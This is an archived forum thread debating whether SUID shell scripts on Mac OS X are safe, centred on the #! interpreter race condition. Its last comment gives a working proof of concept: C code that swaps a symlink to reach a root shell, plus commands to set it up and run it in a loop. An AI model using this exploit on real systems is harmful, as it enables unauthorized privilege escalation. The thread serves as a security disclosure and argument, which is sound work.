Submit Hint Search The Forums LinksStatsPollsHeadlinesRSS
14,000 hints and counting!


Click here to return to the 'Run SUID shell scripts safely' hint
The following comments are owned by whoever posted them. This site is not responsible for what they say.
Run SUID shell scripts safely
Authored by: lincd0 on Apr 19, '05 04:19:57PM

An SUID shell script started by indir is no less secure than an SUID binary, of which at least a dozen are installed in Mac OS X by default, or a script invoked with sudo. There are some situations in which an SUID script is more convenient than sudo.



[ Reply to This | # ]
number of moving parts
Authored by: hayne on Apr 19, '05 04:33:11PM

It comes down to the amount of code that you need to trust.
If you run scripts via 'indir', then you not only need to make sure your script is secure (which by itself is harder than with a compiled executable) but you also have to trust that the developers of 'indir' have covered all the bases in preventing security problems.
I haven't looked at 'indir' at all, but the mere fact that (as you said) there are some patches needed and that the code is difficult to understand, would make me very reluctant to trust it.



[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: ghinteclinn on Apr 19, '05 05:05:01PM

When any shell script is invoked, regardless of how, the kernel loads and executes the interpreter which then goes about reading and interpreting the script. This leads to a race condition. If a script can be changed during the interpreter load time, before the interpreter starts reading the script, then the interpreter will run the new script instead of the original. indir cannot prevent this because the race condition occours after it has handed off the script to the interpreter.

Setuid binaries don't work the same way. The kernel loads an image into memory, changes the EUID, and invokes main(). There is no race condition that can be exploited.

So, no, running a setuid script with indir is demonstrably not as safe as running a setuid binary.



[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: kamath on Apr 19, '05 05:56:52PM

That's the old way. Modern Unices that have a file descriptor filesystem (/dev/fd, for example), the kernel will pass the open file descriptor to the interpreter, thus preventing the race condition you speak of.

There are still environment variable issues. . .



[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: ghinteclinn on Apr 20, '05 09:52:59AM

Sure, and OS X uses the file descriptor mechanism.

However, anyone here might run into an older Unix that passes the script as an argument and, not knowing any better, might expect the contemporary behaviour and open up a serious security vulnerability. Best not to use setuid scripts at all.



[ Reply to This | # ]
SUID scripts are still unsafe in OS/X
Authored by: gshenaut on Apr 21, '05 02:38:57PM

The suggestion that "modern unices" are not vulnerable to the suid #! script race condition because they pass an open fd to the script may or may not be true (based on other messages here, "modern unix" usually means "versions of Linux I am familiar with"), but it doesn't apply to OS/X. If you'll page back through the previous articles in this hint, you'll find my documentation of a sucessful exploit of this race condition to get a root shell prompt on OS/X 10.3.9. Please, don't use analogies with other versions of UNIX to make generalization about OS/X: analogies are useful in generating hypotheses, but the hypotheses still need to be tested!

Greg Shenaut



[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: gshenaut on Apr 19, '05 06:53:28PM
Yeah, the key to this as I understand it is that you create a symlink in a directory you own to a suid script somewhere else, and then invoke the symlink while immediately replacing it with your own content. I played around with this a little, and it definitely works, better with long scripts than short ones. It is an artifact of the way #! scripts are implemented, passing the name of the script to the interpreter rather than a file descriptor.

So, relunctantly, I am turning sugid_scripts back off on my machines.

I am a firm believer in sunshine as being the best defense against maliciousness, so in that spirit, here is the code I used in my playing around:


main(){
        if (fork()) {
                execl("/Users/MYNAME/mylink", 0);
        } else {
                unlink ("mylink");
                write (creat("mylink", 0777), "sh\n", 3);
        }
        exit(0);
}
To convince yourself of the wisdom of disallowing suid scripts, do the following: Change the string MYNAME to your login name and compile the above program. Then find a suid script (you will probably have to make one; if you do, it will work much better if you stick a bunch of comment lines in there to make it take a while to load). To make it suid, run the commands "sudo chown 0:0 SCRIPT; sudo chmod +w,+s SCRIPT", where SCRIPT is the path to your script. My test script was simply

#!/bin/sh
# a long comment line, repeated 100 times
...
whoami

You will have to enable suid scripts:


sudo sysctl -w kern.sugid_scripts=1
Now the fun part: run this command over and over again from your home directory:

rm -f mylink ; ln -s SCRIPT mylink ; ./a.out
where SCRIPT is the path to your suid script. When you get a root prompt, stop. On my 1st edition 17" PB, it takes from 2 to over 20 tries to get root, but I have always gotten there.

Note that you don't need write permission on the script at all, just write permission in your home directory. This little demo turned me from a strong advocate of allowing suid scripts to a strong advocate for disallowing them.

Once you're done with this test, don't forget to remove your test script and to run

sudo sysctl -w kern.sugid_scripts=0

Greg Shenaut

[ Reply to This | # ]